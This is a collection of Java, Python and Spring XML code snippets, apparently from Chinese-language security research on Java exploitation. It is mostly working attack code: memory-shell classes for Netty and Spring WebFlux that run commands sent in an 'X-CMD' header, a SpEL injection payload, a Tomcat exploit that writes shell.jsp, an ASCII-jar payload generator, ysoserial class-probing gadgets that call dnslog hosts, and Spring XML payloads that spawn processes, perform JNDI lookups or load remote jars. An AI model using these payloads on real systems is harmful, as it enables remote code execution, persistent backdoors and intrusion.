#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer
static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {
    if (configurer == ChannelPipelineConfigurer.emptyConfigurer()) { // 默认configurer是无操作空配置
        return other;
    } else if (other == ChannelPipelineConfigurer.emptyConfigurer()) { // 其他额外configurer是无操作空配置
        return configurer;
    } else {
        ......
        ChannelPipelineConfigurer[] newConfigurers = new ChannelPipelineConfigurer[length];
        int pos;
        if (thizConfigurers != null) {
            pos = thizConfigurers.length;
            System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);
        } else {
            pos = 1;
            newConfigurers[0] = configurer;  // 将默认configurer存储到新configurer
        }
        if (otherConfigurers != null) {
            System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
        } else {
            newConfigurers[pos] = other; // 将其他额外configurer存储到新configurer
        }
        // 合并成新的configurer
        return new ReactorNetty.CompositeChannelPipelineConfigurer(newConfigurers);
    }
}

// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer
static final class CompositeChannelPipelineConfigurer implements ChannelPipelineConfigurer {
    final ChannelPipelineConfigurer[] configurers;
    CompositeChannelPipelineConfigurer(ChannelPipelineConfigurer[] configurers) {
        this.configurers = configurers;
    }
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress) {
        ChannelPipelineConfigurer[] var4 = this.configurers;
        int var5 = var4.length;
        // 循环调用所有configurer对pipeline设置handler
        for(int var6 = 0; var6 < var5; ++var6) {
            ChannelPipelineConfigurer configurer = var4[var6];
            configurer.onChannelInit(connectionObserver, channel, remoteAddress);
        }
    }
}

TargetObject = {[Ljava.lang.Thread;} 
   ---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} 
    ---> val$disposableServer = {reactor.netty.transport.ServerTransport$InetDisposableBind} 
     ---> config = {reactor.netty.http.server.HttpServerConfig} 
        ---> doOnChannelInit = {reactor.netty.ReactorNetty$$Lambda$391/236567414}

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    public static String doInject(){
        String msg = "inject-start";
        try {
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke(null);
            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemshell());
                    msg = "inject-success";
                }
            }
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }
 
    @Override
    // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        ChannelPipeline pipeline = channel.pipeline();
        // 将内存马的handler添加到spring层handler的前面        
        pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
    }
    
    
    @Override
    // Step2. 作为Handler处理请求，在此实现内存马的功能逻辑
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest){
            HttpRequest httpRequest = (HttpRequest)msg;
            try {
                if(httpRequest.headers().contains("X-CMD")) {
                    String cmd = httpRequest.headers().get("X-CMD");
                    String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    // 返回执行结果
                    send(ctx, execResult, HttpResponseStatus.OK);
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        ctx.fireChannelRead(msg);
    }
    private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
        response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
    }
}

// org.springframework.web.reactive.DispatcherHandler#handle
public Mono<Void> handle(ServerWebExchange exchange) {
    return this.handlerMappings == null ? this.createNotFoundError() : Flux.fromIterable(this.handlerMappings).concatMap((mapping) -> {
        return mapping.getHandler(exchange); // Step1. 使用HandlerMapping匹配路由
    }).next().switchIfEmpty(this.createNotFoundError()).flatMap((handler) -> {
        return this.invokeHandler(exchange, handler); // Step2. 使用具体HandlerAdapter来处理具体请求
    }).flatMap((result) -> {
        return this.handleResult(exchange, result); // Step3. 使用适合的HandlerResultHandler来处理返回的结果
    });
}

public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
            msg = "inject-success";
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }
    public ResponseEntity executeCommand(String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

def wrap_jar(raw_data,compressed_data,zip_entry_filename):
    crc = zlib.crc32(raw_data) % pow(2, 32)
    return (
        b'PK\3\4' +    # Magic
        binascii.unhexlify(
            '0a000000' +     # Version needed to extract
            '080000000000'   # Compression Method
        ) +
        struct.pack('<L', crc) +
        struct.pack('<L', len(compressed_data) % pow(2, 32)) +
        struct.pack('<L', len(raw_data) % pow(2, 32)) +
        struct.pack('<H', len(zip_entry_filename)) +
        b'\0\0' +
        zip_entry_filename +
        compressed_data +
        b'PK\1\2\0\0' +  # Magic
        binascii.unhexlify(
            '0a000000' +     # Version needed to extract
            '080000000000'
        ) +
        struct.pack('<L', crc) +
        struct.pack('<L', len(compressed_data) % pow(2, 32)) +
        struct.pack('<L', len(raw_data) % pow(2, 32)) +
        struct.pack('<L', len(zip_entry_filename)) +
        b'\0' * 10 +
        struct.pack('<L', 0) + # offset of file in archive
        zip_entry_filename +
        b'PK\5\6\0\0\0\0\0\0' + # Magic
        struct.pack('<H', 1) +  # number of files
        struct.pack('<L', len(zip_entry_filename) + 0x2e) + # size of CD
        struct.pack('<L', len(compressed_data) + len(zip_entry_filename) + 0x1e) + # offset of CD
        b'\0\0'
    )

1. compressed_data
2. struct.pack('<L', crc)
3. struct.pack('<L', len(raw_data) % pow(2, 32))
4. struct.pack('<L', len(compressed_data) % pow(2, 32))
5. struct.pack('<L', len(zip_entry_filename))
6. struct.pack('<L', len(zip_entry_filename) + 0x2e)
7. struct.pack('<L', len(compressed_data) + len(filename) + 0x1e)

1. struct.pack('<L', crc)
2. struct.pack('<L', len(raw_data) % pow(2, 32))
3. struct.pack('<L', len(compressed_data) % pow(2, 32))
4. struct.pack('<L', len(compressed_data) + len(zip_entry_filename) + 0x1e)

import org.apache.jasper.compiler.StringInterpreter;
import org.apache.jasper.compiler.StringInterpreterFactory;
import java.io.FileOutputStream;
public class Exploit implements StringInterpreter {
    private static final String paddingData = "{PADDING_DATA}";
    // 要执行的代码
    public Exploit() throws Exception {
        String shell = "<%out.println(\\"Exploit by c0ny1@sglab\\");%>";
        FileOutputStream fos = new FileOutputStream("/opt/tomcat/webapps/ROOT/shell.jsp");
        fos.write(shell.getBytes());
        fos.close();
    }
    // 防止后续tomcat编译jsp报错
    @Override
    public String convertString(Class<?> c, String s, String attrName, Class<?> propEditorClass, boolean isNamedAttribute) {
        return new StringInterpreterFactory.DefaultStringInterpreter().convertString(c,s,attrName,propEditorClass,isNamedAttribute);
    }
}

#!/usr/bin/env python
# autor: c0ny1
# date 2022-02-13
from __future__ import print_function
import time
import os
from compress import *
allow_bytes = []
disallowed_bytes = [38,60,39,62,34,40,41] # &<'>"()
for b in range(0,128): # ASCII
    if b in disallowed_bytes:
        continue
    allow_bytes.append(b)
if __name__ == '__main__':
    padding_char = 'A' # 填充的字符
    raw_filename = 'Exploit.class' # 原文件名
    zip_entity_filename = 'Exploit.class' # 压缩文件名
    jar_filename = 'ascii01.jar' # 保存文件名
    num = 1
    while True:
        # step1 动态生成java代码并编译
        javaCode = """
                java模版代码
                """
        padding_data = padding_char * num
        javaCode = javaCode.replace("{PADDING_DATA}", padding_data)
        f = open('Exploit.java', 'w')
        f.write(javaCode)
        f.close()
        time.sleep(0.1)
        os.system("javac -nowarn -g:none -source 1.5 -target 1.5 -cp jasper.jar Exploit.java")
        time.sleep(0.1)
        # step02 计算压缩之后的各个部分是否在允许的ASCII范围
        raw_data = bytearray(open(raw_filename, 'rb').read())
        compressor = ASCIICompressor(bytearray(allow_bytes))
        compressed_data = compressor.compress(raw_data)[0]
        crc = zlib.crc32(raw_data) % pow(2, 32)
        st_crc = struct.pack('<L', crc)
        st_raw_data = struct.pack('<L', len(raw_data) % pow(2, 32))
        st_compressed_data = struct.pack('<L', len(compressed_data) % pow(2, 32))
        st_cdzf = struct.pack('<L', len(compressed_data) + len(zip_entity_filename) + 0x1e)
        b_crc = isAllowBytes(st_crc, allow_bytes)
        b_raw_data = isAllowBytes(st_raw_data, allow_bytes)
        b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)
        b_cdzf = isAllowBytes(st_cdzf, allow_bytes)
        # step03 判断各个部分是否符在允许字节范围
        if b_crc and b_raw_data and b_compressed_data and b_cdzf:
            print('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
            # step04 保存最终ascii jar
            output = open(jar_filename, 'wb')
            output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode()))
            print('[+] Generate {0} success'.format(jar_filename))
            break
        else:
            print('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data,
                                                                                       b_compressed_data, b_cdzf, num,
                                                                                       padding_char))
        num = num + 1

➜ ascii-jar git:(master) ✗ python3 ascii-jar-1.py
[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 1*A
[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 2*A
[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 3*A
......
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 247*A
[+] CRC:True RDL:True CDL:True CDAFL:True Padding data: 248*A
[+] Generate ascii01.jar success

$ python3 paddingzip.py -i ascii01.jar -o payload.jar -p "DIRTY DATA AT THE BEGINNING " -a "C0NY1 DIRTY DATA AT THE END"
file 'payload.jar' is generated

// java.lang.String#trim
public String trim() {
    int len = value.length;
    int st = 0;
    char[] val = value;    /* avoid getfield opcode */
    while ((st < len) && (val[st] <= ' ')) {
        st++;
    }
    while ((st < len) && (val[len - 1] <= ' ')) {
        len--;
    }
    return ((st > 0) || (len < value.length)) ? substring(st, len) : this;
}

// java.io.ObjectStreamClass#initNonProxy
void initNonProxy(ObjectStreamClass model,
                      Class<?> cl,
                      ClassNotFoundException resolveEx,
                      ObjectStreamClass superDesc)
throws InvalidClassException{
    // model是基于序列化数据构造的ObjectStreamClass对象
    suid = Long.valueOf(model.getSerialVersionUID());
    serializable = model.serializable;
    externalizable = model.externalizable;
    ......
    if (cl != null) {
        // 通过类名，基于当前运行环境构造的ObjectStreamClass
        localDesc = lookup(cl, true);
        ......
        // SUID检查条件：是否都或都没有实现了Serializable接口 && 不是数组类 && suid不相同
        if (serializable == localDesc.serializable &&
            !cl.isArray() &&
            suid.longValue() != localDesc.getSerialVersionUID())
        {
            throw new InvalidClassException(localDesc.name,
                "local class incompatible: " +
                "stream classdesc serialVersionUID = " + suid +
                ", local class serialVersionUID = " +
                localDesc.getSerialVersionUID());
        }
        ......
    }
    ......
}

public static Class makeClass(String clazzName) throws Exception{
    ClassPool classPool = ClassPool.getDefault();
    CtClass ctClass = classPool.makeClass(clazzName);
    Class clazz = ctClass.toClass();
    ctClass.defrost();
    return clazz;
}

List<Object> a = new LinkedList<Object>();
a.add(makeClass("TargetClass"));
a.add(new URLDNS.getObject("http://test.dnslog.cn"));

Class A {
 private Object a; // makeClass("TargetClass")
 private Object b; // new URLDNS.getObject("http://test.dnslog.cn")
}

// java.util.HashMap#readObject
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
    ......
    // Read the keys and values, and put the mappings in the HashMap
    for (int i=0; i<mappings; i++) {
      // 序列化要探测的Class
        K key = (K) s.readObject();
        // 反序列化URL对象
        V value = (V) s.readObject();
        putForCreate(key, value);
    }
}

@Authors({ Authors.NOPOINT,Authors.C0NY1 })
public class FindClassByDNS implements ObjectPayload<Object> {
        public Object getObject(final String command) throws Exception {
            String[] cmds = command.split("\\|");
            if(cmds.length != 2){
                System.out.println("<url>|<class name>");
                return null;
            }
            String url = cmds[0];
            String clazzName = cmds[1];
            URLStreamHandler handler = new SilentURLStreamHandler();
            HashMap ht = new HashMap();
            URL u = new URL(null, url, handler);
            // 以URL对象为key，以探测Class为value
            ht.put(u, makeClass(clazzName));
            Reflections.setFieldValue(u, "hashCode", -1);
            return ht;
        }
}

java -jar ysoserial-for-woodpecker.jar -g FindClassByDNS -a "http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap

@Authors({ Authors.C0NY1 })
public class FindClassByBomb extends PayloadRunner implements ObjectPayload<Object> {
    public Object getObject ( final String command ) throws Exception {
        int depth;
        String className = null;
        if(command.contains("|")){
            String[] x = command.split("\\|");
            className = x[0];
            depth = Integer.valueOf(x[1]);
        }else{
            className = command;
            depth = 28;
        }
        Class findClazz = makeClass(className);
        Set<Object> root = new HashSet<Object>();
        Set<Object> s1 = root;
        Set<Object> s2 = new HashSet<Object>();
        for (int i = 0; i < depth; i++) {
            Set<Object> t1 = new HashSet<Object>();
            Set<Object> t2 = new HashSet<Object>();
            t1.add(findClazz);
            s1.add(t1);
            s1.add(t2);
            s2.add(t1);
            s2.add(t2);
            s1 = t1;
            s2 = t2;
        }
        return root;
    }
} 

 java -jar ysoserial-for-woodpecker.jar -g FindClassByBomb -a "org.apache.commons.collections.functors.InvokerTransformer|28"

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="oracle.toplink.internal.sessions.UnitOfWorkChangeSet">
        <constructor-arg>
            <list>
                <!-- 反序列化gadget序列化数据 -->
                <value type="byte">-84</value>
                <value type="byte">-19</value>
                <value type="byte">0</value>
                <value type="byte">5</value>
                ......
            </list>
        </constructor-arg>
    </bean>
</beans>

String xml = "<java><void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b......</string><void method=\"newInstance\"></void></void></void></java>";
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes());
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
xmlDecoder.readObject();

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.beans.XMLDecoder" init-method="readObject">
        <constructor-arg>
            <bean id="x" class="java.io.ByteArrayInputStream" >
                <constructor-arg>
                    <list>
                        <!-- xml序列化内容 -->
                        <value type="byte">60</value>
                        <value type="byte">106</value>
                        <value type="byte">97</value>
                        <value type="byte">118</value>
                        <value type="byte">97</value>
                        <value type="byte">62</value>
                        ......
                    </list>
                </constructor-arg>
            </bean>
        </constructor-arg>
    </bean>
</beans>

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean class="javax.naming.InitialContext" factory-method="doLookup">
        <constructor-arg type="java.lang.String" value="ldap://127.0.0.1:1664/exp"/>
    </bean>
</beans>

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="classLoader" class="java.net.URLClassLoader" >
        <constructor-arg>
            <list>
                <value type="java.net.URL">http://127.0.0.1:1664/exp.jar</value>
            </list>
        </constructor-arg>
    </bean>
    <bean id="clazz" factory-bean="classLoader" factory-method="loadClass">
        <constructor-arg type="java.lang.String" value="InjectMemshell"/>
    </bean>
    <bean factory-bean="clazz" factory-method="newInstance">
    </bean>
</beans>

new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$...").newInstance();

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd ">
    <bean id="classloader" class="com.sun.org.apache.bcel.internal.util.ClassLoader"/>
    <bean id="clazz" factory-bean="classloader" factory-method="loadClass">
        <constructor-arg type="java.lang.String" value="$$BCEL$$$......"/>
    </bean>
    <bean factory-bean="clazz" factory-method="newInstance">
    </bean>
</beans>

byte[] clazzBytes = new byte[]{-54,-2,-70,-66,0,......};
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(new MLet(),clazzBytes,0,clazzBytes.length);
clazz.newInstance();

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd ">
    <bean id="decoder" class="weblogic.utils.encoders.BASE64Decoder"/>
    <bean id="clazzBytes" factory-bean="decoder" factory-method="decodeBuffer">
        <constructor-arg type="java.lang.String" value="yv66vgAAA......"/>
    </bean>
    <bean id="classLoader" class="javax.management.loading.MLet"/>
    <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
        <constructor-arg type="[B" ref="clazzBytes"/>
        <constructor-arg type="int" value="0"/>
        <constructor-arg type="int" value="10692"/>
    </bean>
    <bean factory-bean="clazz" factory-method="newInstance"/>
</beans>